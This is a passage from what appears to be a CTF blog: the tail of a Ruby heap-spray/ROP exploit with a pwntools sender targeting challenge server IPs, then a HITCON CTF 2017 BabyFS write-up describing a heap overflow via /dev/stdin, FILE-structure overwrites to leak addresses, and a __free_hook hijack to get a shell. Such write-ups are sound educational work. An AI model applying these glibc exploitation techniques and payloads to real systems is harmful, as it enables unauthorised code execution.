<span class="k">return</span> <span class="n">value</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">toint</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="k">if</span> <span class="n">value</span><span class="o">></span><span class="mh">0x7fffffff</span>
<span class="k">return</span> <span class="p">(</span><span class="n">value</span><span class="o">-</span><span class="mh">0xffffffff</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">return</span> <span class="n">value</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">p64</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="n">result</span><span class="o">=</span><span class="s2">""</span>
<span class="k">for</span> <span class="n">i</span> <span class="k">in</span> <span class="mi">0</span><span class="o">...</span><span class="mi">8</span> <span class="k">do</span>
<span class="n">result</span><span class="o">+=</span><span class="p">(</span><span class="n">value</span><span class="o">&</span><span class="mh">0xff</span><span class="p">).</span><span class="nf">chr</span>
<span class="n">value</span><span class="o">=</span><span class="n">value</span><span class="o">>></span><span class="mi">8</span>
<span class="k">end</span>
<span class="k">return</span> <span class="n">result</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">u64</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="n">result</span><span class="o">=</span><span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="k">in</span> <span class="mi">0</span><span class="o">...</span><span class="mi">8</span> <span class="k">do</span>
<span class="n">result</span><span class="o">=</span><span class="n">result</span><span class="o"><<</span><span class="mi">8</span>
<span class="n">result</span><span class="o">+=</span><span class="n">value</span><span class="p">[</span><span class="mi">7</span><span class="o">-</span><span class="n">i</span><span class="p">].</span><span class="nf">ord</span>
<span class="k">end</span>
<span class="k">return</span> <span class="n">result</span>
<span class="k">end</span>
<span class="vg">$ooa_size</span><span class="o">=</span><span class="mh">0x50000</span>
<span class="vg">$spray_size</span><span class="o">=</span><span class="mh">0x3000</span>
<span class="vg">$arr</span> <span class="o">=</span> <span class="no">LFA</span><span class="p">.</span><span class="nf">new</span>
<span class="vg">$arr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x12345678</span>
<span class="vg">$arr</span><span class="p">[</span><span class="vg">$ooa_size</span><span class="p">]</span> <span class="o">=</span> <span class="mi">11</span>
<span class="n">i</span><span class="o">=</span><span class="mi">0</span>
<span class="k">while</span> <span class="n">i</span><span class="o"><=</span><span class="vg">$ooa_size</span> <span class="k">do</span>
<span class="vg">$arr</span><span class="p">.</span><span class="nf">remove</span> <span class="n">i</span>
<span class="n">i</span><span class="o">+=</span><span class="mh">0x10</span>
<span class="k">end</span>
<span class="n">i</span><span class="o">=</span><span class="mi">0</span>
<span class="n">spray_arr</span><span class="o">=</span><span class="no">Array</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="vg">$spray_size</span><span class="p">)</span>
<span class="n">payload_size</span><span class="o">=</span><span class="mh">0x1004</span>
<span class="k">while</span> <span class="n">i</span><span class="o"><=</span><span class="vg">$spray_size</span> <span class="k">do</span>
<span class="n">spray_arr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="s2">"O"</span><span class="o">*</span><span class="n">payload_size</span>
<span class="n">i</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">end</span>
<span class="n">i</span><span class="o">=</span><span class="mi">0</span>
<span class="vg">$idx</span><span class="o">=</span><span class="mi">0</span>
<span class="k">while</span> <span class="n">i</span><span class="o"><</span><span class="vg">$ooa_size</span> <span class="k">do</span>
<span class="k">if</span> <span class="n">touint</span><span class="p">(</span><span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">])</span><span class="o">&</span><span class="mh">0xff00</span> <span class="o">==</span> <span class="mh">0x7f00</span> <span class="n">and</span> <span class="n">touint</span><span class="p">(</span><span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="p">])</span><span class="o">&</span><span class="mh">0xfff</span> <span class="o">==</span> <span class="mh">0xc78</span>
<span class="vg">$libcaddr</span><span class="o">=</span><span class="n">touint</span><span class="p">(</span><span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">])</span><span class="o"><<</span><span class="mi">32</span>
<span class="vg">$libcaddr</span><span class="o">+=</span><span class="n">touint</span><span class="p">(</span><span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
<span class="vg">$libcaddr</span><span class="o">-=</span><span class="p">(</span><span class="mh">0x3c4c78</span><span class="o">+</span><span class="mh">0x16000</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">if</span> <span class="n">touint</span><span class="p">(</span><span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">])</span><span class="o">&</span><span class="mh">0xff00</span> <span class="o">==</span> <span class="mh">0x5500</span> <span class="n">and</span> <span class="n">touint</span><span class="p">(</span><span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">])</span> <span class="o">==</span> <span class="n">payload_size</span>
<span class="vg">$heapaddr</span><span class="o">=</span><span class="n">touint</span><span class="p">(</span><span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">])</span><span class="o"><<</span><span class="mi">32</span>
<span class="vg">$heapaddr</span><span class="o">+=</span><span class="n">touint</span><span class="p">(</span><span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
<span class="k">end</span>
<span class="k">if</span> <span class="n">touint</span><span class="p">(</span><span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">])</span><span class="o">==</span><span class="mh">0xae57</span> <span class="n">and</span> <span class="vg">$idx</span><span class="o">==</span><span class="mi">0</span>
<span class="c1">#if touint($arr[i])&0xfff==0xbe0 and touint($arr[i+2])&0xfff==0xd10 and touint($arr[i+8])==0x41 and $idx==0</span>
<span class="n">t1</span><span class="o">=</span><span class="n">touint</span><span class="p">(</span><span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">])</span><span class="o"><<</span><span class="mi">32</span>
<span class="n">t1</span><span class="o">+=</span><span class="n">touint</span><span class="p">(</span><span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
<span class="c1">#puts t1.to_s(16)</span>
<span class="n">t2</span><span class="o">=</span><span class="n">touint</span><span class="p">(</span><span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">3</span><span class="p">])</span><span class="o"><<</span><span class="mi">32</span>
<span class="n">t2</span><span class="o">+=</span><span class="n">touint</span><span class="p">(</span><span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">])</span>
<span class="c1">#puts t2.to_s(16)</span>
<span class="vg">$idx</span><span class="o">=</span><span class="n">i</span>
<span class="k">end</span>
<span class="n">i</span><span class="o">+=</span><span class="mi">2</span>
<span class="k">end</span>
<span class="k">if</span> <span class="n">not</span> <span class="vg">$heapaddr</span>
<span class="nb">puts</span> <span class="s2">"[-]leak heap failed"</span>
<span class="nb">exit</span>
<span class="k">end</span>
<span class="nb">puts</span> <span class="s2">"[+]heap addr = 0x"</span><span class="o">+</span><span class="vg">$heapaddr</span><span class="p">.</span><span class="nf">to_s</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="k">if</span> <span class="n">not</span> <span class="vg">$libcaddr</span>
<span class="nb">puts</span> <span class="s2">"[-]leak libc base failed"</span>
<span class="nb">exit</span>
<span class="k">end</span>
<span class="nb">puts</span> <span class="s2">"[+]libc base = 0x"</span><span class="o">+</span><span class="vg">$libcaddr</span><span class="p">.</span><span class="nf">to_s</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="k">if</span> <span class="vg">$idx</span><span class="o">==</span><span class="mi">0</span>
<span class="nb">puts</span> <span class="s2">"[-] find idx failed"</span>
<span class="nb">exit</span>
<span class="k">end</span>
<span class="nb">puts</span> <span class="s2">"[+]idx = 0x"</span><span class="o">+</span><span class="vg">$idx</span><span class="p">.</span><span class="nf">to_s</span><span class="p">(</span><span class="mi">16</span><span class="p">)</span>
<span class="n">spray_arr</span><span class="o">=</span><span class="no">Array</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="vg">$spray_size</span><span class="p">)</span>
<span class="nb">sleep</span> <span class="mi">1</span>
<span class="n">pop_rdi</span><span class="o">=</span><span class="vg">$libcaddr</span><span class="o">+</span><span class="mh">0x00186e2e</span>
<span class="n">pop_rsi</span><span class="o">=</span><span class="vg">$libcaddr</span><span class="o">+</span><span class="mh">0x00189865</span>
<span class="n">pop_rdx</span><span class="o">=</span><span class="vg">$libcaddr</span><span class="o">+</span><span class="mh">0x00001b96</span>
<span class="n">pop_rcx</span><span class="o">=</span><span class="vg">$libcaddr</span><span class="o">+</span><span class="mh">0x001c2b1c</span>
<span class="n">readv</span><span class="o">=</span><span class="vg">$libcaddr</span><span class="o">+</span><span class="mh">0x109ed0</span>
<span class="n">write</span><span class="o">=</span><span class="vg">$libcaddr</span><span class="o">+</span><span class="mh">0xb83c60</span>
<span class="n">exit0</span><span class="o">=</span><span class="vg">$libcaddr</span><span class="o">+</span><span class="mh">0x3bf00</span>
<span class="n">pop_rsp</span><span class="o">=</span><span class="vg">$libcaddr</span><span class="o">+</span><span class="mh">0x00159f1c</span> <span class="c1">#pop rsp; ret</span>
<span class="n">push_jump</span><span class="o">=</span><span class="vg">$libcaddr</span><span class="o">+</span><span class="mh">0x0019e53b</span> <span class="c1">#push [rdx]; jmp [rsi-0x14]</span>
<span class="n">i</span><span class="o">=</span><span class="mi">0</span>
<span class="k">while</span> <span class="n">i</span><span class="o"><=</span><span class="vg">$spray_size</span> <span class="k">do</span>
<span class="n">payload</span><span class="o">=</span><span class="n">p64</span><span class="p">(</span><span class="n">pop_rdi</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="mi">1023</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">pop_rsi</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="vg">$heapaddr</span><span class="o">+</span><span class="mh">0x100</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">pop_rdx</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">readv</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">pop_rdi</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">pop_rsi</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="vg">$heapaddr</span><span class="o">+</span><span class="mh">0x120</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">pop_rdx</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x40</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">write</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">exit0</span><span class="p">)</span>
<span class="n">payload</span><span class="o">=</span><span class="n">payload</span><span class="p">.</span><span class="nf">ljust</span><span class="p">(</span><span class="mh">0x100</span><span class="p">,</span><span class="s2">"Z"</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="vg">$heapaddr</span><span class="o">+</span><span class="mh">0x120</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x40</span><span class="p">)</span>
<span class="n">payload</span><span class="o">=</span><span class="n">payload</span><span class="p">.</span><span class="nf">ljust</span><span class="p">(</span><span class="mh">0x150</span><span class="o">-</span><span class="mh">0x14</span><span class="p">,</span><span class="s2">"Z"</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">pop_rsp</span><span class="p">)</span>
<span class="n">payload</span><span class="o">=</span><span class="n">payload</span><span class="p">.</span><span class="nf">ljust</span><span class="p">(</span><span class="mh">0x150</span><span class="p">,</span><span class="s2">"Z"</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="vg">$heapaddr</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="vg">$heapaddr</span><span class="o">+</span><span class="mh">0x150</span><span class="p">)</span>
<span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">push_jump</span><span class="p">)</span>
<span class="n">payload</span><span class="o">=</span><span class="n">payload</span><span class="p">.</span><span class="nf">ljust</span><span class="p">(</span><span class="n">payload_size</span><span class="p">,</span><span class="s2">"X"</span><span class="p">)</span>
<span class="n">spray_arr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">payload</span>
<span class="n">i</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">end</span>
<span class="n">i</span><span class="o">=</span><span class="vg">$idx</span><span class="o">-</span><span class="mh">0x90</span><span class="o">/</span><span class="mi">4</span>
<span class="n">payload</span><span class="o">=</span><span class="n">p64</span><span class="p">(</span><span class="vg">$heapaddr</span><span class="o">+</span><span class="mh">0x150</span><span class="p">)</span><span class="o">*</span><span class="mh">0x100</span>
<span class="n">j</span><span class="o">=</span><span class="mi">0</span>
<span class="k">while</span> <span class="n">j</span><span class="o"><</span><span class="n">payload</span><span class="p">.</span><span class="nf">length</span> <span class="k">do</span>
<span class="n">payload_u</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">payload</span><span class="p">[</span><span class="n">j</span><span class="p">,</span><span class="n">j</span><span class="o">+</span><span class="mi">8</span><span class="p">])</span>
<span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">=</span><span class="n">toint</span><span class="p">(</span><span class="n">payload_u</span><span class="o">&</span><span class="mh">0xffffffff</span><span class="p">)</span>
<span class="vg">$arr</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="o">=</span><span class="n">toint</span><span class="p">(</span><span class="n">payload_u</span><span class="o">>></span><span class="mi">32</span><span class="p">)</span>
<span class="n">i</span><span class="o">=</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span>
<span class="n">j</span><span class="o">=</span><span class="n">j</span><span class="o">+</span><span class="mi">8</span>
<span class="k">end</span>
</code></pre></div></div>
<p><strong>sendexp.py</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python
</span><span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">print_function</span>
<span class="kn">import</span> <span class="nn">sys</span><span class="p">,</span> <span class="n">random</span><span class="p">,</span> <span class="n">string</span><span class="p">,</span> <span class="n">struct</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">hashlib</span> <span class="kn">import</span> <span class="n">sha256</span>
<span class="k">def</span> <span class="nf">proof_of_work_okay</span><span class="p">(</span><span class="n">chall</span><span class="p">,</span> <span class="n">solution</span><span class="p">,</span> <span class="n">hardness</span><span class="p">):</span>
<span class="n">h</span> <span class="o">=</span> <span class="n">sha256</span><span class="p">(</span><span class="n">chall</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'ASCII'</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'<Q'</span><span class="p">,</span> <span class="n">solution</span><span class="p">))</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
<span class="k">return</span> <span class="nb">int</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o"><</span> <span class="mi">2</span><span class="o">**</span><span class="mi">256</span> <span class="o">/</span> <span class="n">hardness</span>
<span class="k">def</span> <span class="nf">random_string</span><span class="p">(</span><span class="n">length</span> <span class="o">=</span> <span class="mi">10</span><span class="p">):</span>
<span class="n">characters</span> <span class="o">=</span> <span class="n">string</span><span class="o">.</span><span class="n">ascii_letters</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span>
<span class="k">return</span> <span class="s">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">choice</span><span class="p">(</span><span class="n">characters</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">length</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">solve_proof_of_work</span><span class="p">(</span><span class="n">task</span><span class="p">):</span>
<span class="n">hardness</span><span class="p">,</span> <span class="n">task</span> <span class="o">=</span> <span class="n">task</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">'_'</span><span class="p">)</span>
<span class="n">hardness</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">hardness</span><span class="p">)</span>
<span class="s">''' You can use this to solve the proof of work. '''</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Creating proof of work for {} (hardness {})'</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="n">task</span><span class="p">,</span> <span class="n">hardness</span><span class="p">))</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">%</span> <span class="mi">1000000</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> <span class="k">print</span><span class="p">(</span><span class="s">'Progress: </span><span class="si">%</span><span class="s">d'</span> <span class="o">%</span> <span class="n">i</span><span class="p">)</span>
<span class="k">if</span> <span class="n">proof_of_work_okay</span><span class="p">(</span><span class="n">task</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="n">hardness</span><span class="p">):</span>
<span class="k">return</span> <span class="n">i</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">local</span><span class="o">=</span><span class="mi">0</span>
<span class="n">ip</span><span class="o">=</span><span class="s">"202.112.51.146"</span>
<span class="k">if</span> <span class="n">local</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="n">ip</span><span class="o">=</span><span class="s">"35.198.184.75"</span>
<span class="n">io</span><span class="o">=</span><span class="bp">None</span>
<span class="k">def</span> <span class="nf">do_pow</span><span class="p">():</span>
<span class="k">print</span> <span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"./pow.py "</span><span class="p">))</span>
<span class="n">challenge</span><span class="o">=</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="k">print</span> <span class="p">(</span><span class="n">challenge</span><span class="p">)</span>
<span class="n">response</span><span class="o">=</span><span class="n">solve_proof_of_work</span><span class="p">(</span><span class="n">challenge</span><span class="p">)</span>
<span class="k">print</span> <span class="p">(</span><span class="n">response</span><span class="p">)</span>
<span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"Your response?"</span><span class="p">)</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">response</span><span class="p">))</span>
<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">io</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="n">ip</span><span class="p">,</span><span class="mi">1337</span><span class="p">)</span>
<span class="k">if</span> <span class="n">local</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
<span class="n">do_pow</span><span class="p">()</span>
<span class="n">fd</span><span class="o">=</span><span class="nb">open</span><span class="p">(</span><span class="s">"./sample.rb0"</span><span class="p">)</span>
<span class="n">payload</span><span class="o">=</span><span class="n">fd</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">fd</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"END_OF_PWN"</span><span class="p">)</span>
<span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">continue</span>
</code></pre></div></div>AtumBefore the contextHITCON CTF 2017 BabyFS Writeup2017-11-08T00:00:00+08:002017-11-08T00:00:00+08:00http://a7um.github.io/2017/11/08/babyfs<h2 id="the-challenge">The Challenge</h2>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>13 Teams solved
Canary: Yes
NX Support: Yes
PIE Support: Yes
No RPATH: Yes
No RUNPATH: Yes
Partial RelRO: Yes
Full RelRO: Yes
</code></pre></div></div>
<p>Playing with the challenge binary, we will see some options such as Open, Read, Write, Close. It looks like this challenge is functionally related to file operations.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>***********************************
* Baby FS *
***********************************
* 1. Open *
* 2. Read *
* 3. Write *
* 4. Close *
* 5. Exit *
***********************************
Your choice:
</code></pre></div></div>
<p>We reversed the binary, the binary itself is not hard to reverse. We quickly figured out all the functions.</p>
<ul>
<li>open:calling fopen(“userinputname”,”r”) to open a file,then using fseek and ftell combination to get file size, and calling calloc(file size+1) to alloc a file buffer. finally, store the FILE* pointer, file size, file buffer pointer, iswrited(a bool flag) to a structure resided in bss segment.</li>
<li>read: choose a file we opened, and input a size smaller than filesize, it will read fileszie bytes data from file to the filebuffer.In addition, the openfile function will check whether the name of file you attend to open contains a string “proc” or a string “flag”, if it is, the function will refuse to open that file. in addition, the userinput filename must do not contain string “flag” or “proc”.</li>
<li>write: choose a file we opened, if iswrited flag is false, the function will write the <strong>first byte</strong> of file buffer to stdout and set flag to true.</li>
<li>close: fclose a choosen file, and free the file buffer, then, all the fields in the bss structure are reset properly.</li>
</ul>
<p>There are some extra feathers and limitations not very related to solve this challenges. First, there are at most three opened file at the same time, second, if we failed to open a file, a log “failed to open file %filename%” will output to log file. if log file is not opened, calling fopen(“/tmp/%randomname%.txt”,”a”) to open it. the log file will be closed before the program exit.</p>
<h2 id="the-vulneriblity">The Vulneriblity</h2>
<p>By now, everything seems to be OK, no logic error, no UAF, no vulnerabilities ?</p>
<p>Wait! What if we open “/dev/stdin” and read it? Things become interesting, the program will read at most file size length data from stdin to the file buffer. there is only one question remains, what’s the size of stdin?</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>__int64 func_open()
{
....
printf("Filename :");
readstring((unsigned __int8 *)&filename, 0x3Fu);
check((__int64)&filename, 0x3Fu);
fd = fopen(&filename, "r");
....
file_size[i] = get_filesize(fd);
file_buffer[i] = calloc(1uLL, file_size[i]) + 1LL);
....
}
__int64 __fastcall get_filesize(FILE *fp)
{
__int64 filesize; // ST18_8@1
fseek(fp, 0LL, 2);
filesize = ftell(fp);
fseek(fp, 0LL, 0);
return filesize;
}
</code></pre></div></div>
<p>According to code above, we know the file size actually depends on the return value of fseek and ftell. if the FILE* pointer passed into fseek and ftell is point to a FILE struct of “/dev/stdin”, both fseek and ftell will fail and return -1. Things become more interesting, since file_size is an unsigned value, -1 is treated as a extremely large value(i.e. MAX_ULONGINT). As we can see, after calling get_filesize, a calloc(file_size+1) is called to alloc a file buffer. Note that file size is -1, a calloc(0) is actually called, and the return value is a buffer with size 0x10 (0x20 for chunk).</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int func_read()
{
_DWORD file_index;
_QWORD read_size;
printf("Fileindex :");
file_index = (unsigned int)readint();
....(check is file existed)
printf("Size :");
read_size = (signed int)readint();
if ((_QWORD )file_size[file_index]) < read_size )
{
puts("Invalid size !");
exit(-1);
}
fread(
file_buffer[file_index]),
1uLL,
*(size_t *)&read_size,
file_pointer[file_index]);
file_buffer[file_idx][read_size] = 0;
....
}
</code></pre></div></div>
<p>if we read /dev/stdin, recall that file_size[file_index] is MAX_ULONGINT, so any read_size will pass the check. it means we can read arbitrary length of data into a 0x10 size file_buffer. Yes! There is a <strong>heap overflow</strong>!</p>
<h2 id="exploit">Exploit</h2>
<p>Heap overflow is powerful, but it is worth nothing if there isn’t a proper structure to overwrite by overflow. calloc the file buffer is the only memory allocation function call in the binary. is this means the heap overflow is useless? the answer is NO!</p>
<p>Remind that FILE *fp = fopen(filename,mode) is not only open a file, but also alloc a FILE structure on the heap. if we trigger the heap overflow, it is easily to overwrite the FILE structure.</p>
<p>With the ability to overwrite FILE structure, we have several choices to hijack the control flow, such as overwrite IO_file_jump pointer(despite the libc2.24 add the vtable check, we still can achieve this if we can control some field of the FILE structure, see this) or overwrite the input buffer inside the FILE structure. The solution seems to get clear.</p>
<h3 id="info-leak">Info leak</h3>
<p>But there is another problem, leak. Write option in the menu seems like the only way to write data into stdout, and it seems like this option cannot leak any adress. Acturally, the way to leak address for this challenge is a little bit tricky. we leverage the buffer mechanism of libc IO and FILE structure.</p>
<p>When reading data using stdio series functions such as fread. the libc will check whether read buffer is empty. if it is, a fix amount of data will be read into the internal buffer of FILE structure. The later input function will get data from buffer until buffer is empty again. Writing data is similar, all the data we output use a stdio series function will firstly output into the internal buffer of FILE structure until the buffer is full or something that can trigger the libc flush the outbuffer happened. if the buffer is full or the flush is triggered such as a fflush function is called, all the data in the buffer will be output into file.</p>
<p>The buffering mechanism works well normally, but we can abuse this mechanism to do some interesting thing.</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
</code></pre></div></div>
<p>The code above is the FILE structure. we can see there are 8 pointers related to buffering. For the info leak, we first overwrite the last byte of _IO_write_base to 0x00 using partial overwrite, then close the overwritten FILE structure using fclose(), since fclose() will flush the buffer, all the data from _IO_write_base to _IO_write_ptr will be ouputed into FILE.</p>
<p>But there are still something challenging: All the file we opened in the chanllenge is opened in readonly mode, so the techniques we state above will not work because write to a readonly file descriptor will fail. the solution is overwriting file descriptor field of FILE structure to 1(stdout) or 2(stderr) first. this will also cause a side-effect that all buffer related field will also be overwritten and we can no longer perform a partial overwrite. this stunk us a little while, but quickly we figured out that fread and fseek would try to fix an invalid buffer. so we can use read in the menu to fix the buffer pointers inside the FILE structure. and finally we can perform partial overwrite to the _IO_write_base and close the file, a heap address will be leaked.</p>
<p>With the leaked heap address, we can do it again to leak libc address, instead of partial overwriting the _IO_write_base, we now need to overwrite the buffer and make it contains a libc address. FILE structure indeed has some libc address, this is not very hard.</p>
<h3 id="get-a-shell">Get a shell</h3>
<p>Once we leaked libc address, we have several choices to hijack the control flow. I don’t want to play with FILE struct vtable so I choose to overwrite the input buffer and make it start with freehook and end with somewhere behind the freehook. the way to overwrite input buffer is slightly different(see the libc source code), we need to __IO_buf_base to freehook and _ IO_buf_end to somewhere behind the freehook. and then we read this buffer overwritten file, it will read data into the freehook. we overwrite the freehook to system, and close another file with a buffer contains a “/bin/sh”, a shell got!</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>int func_close()
{
signed int v1; // [rsp+Ch] [rbp-4h]@1
printf("Fileindex :");
v1 = readint();
if ( v1 < 0 || v1 > 2 )
{
puts("Out of bound !");
exit(0);
}
if ( !file_pointer[v1] )
return puts("No such file !");
printf("Closing %s ...\n", &file_pointer[12 * (signed __int64)v1 + 2]);
if ( file_buffer[v1] )
free(file_buffer[v1]);
....
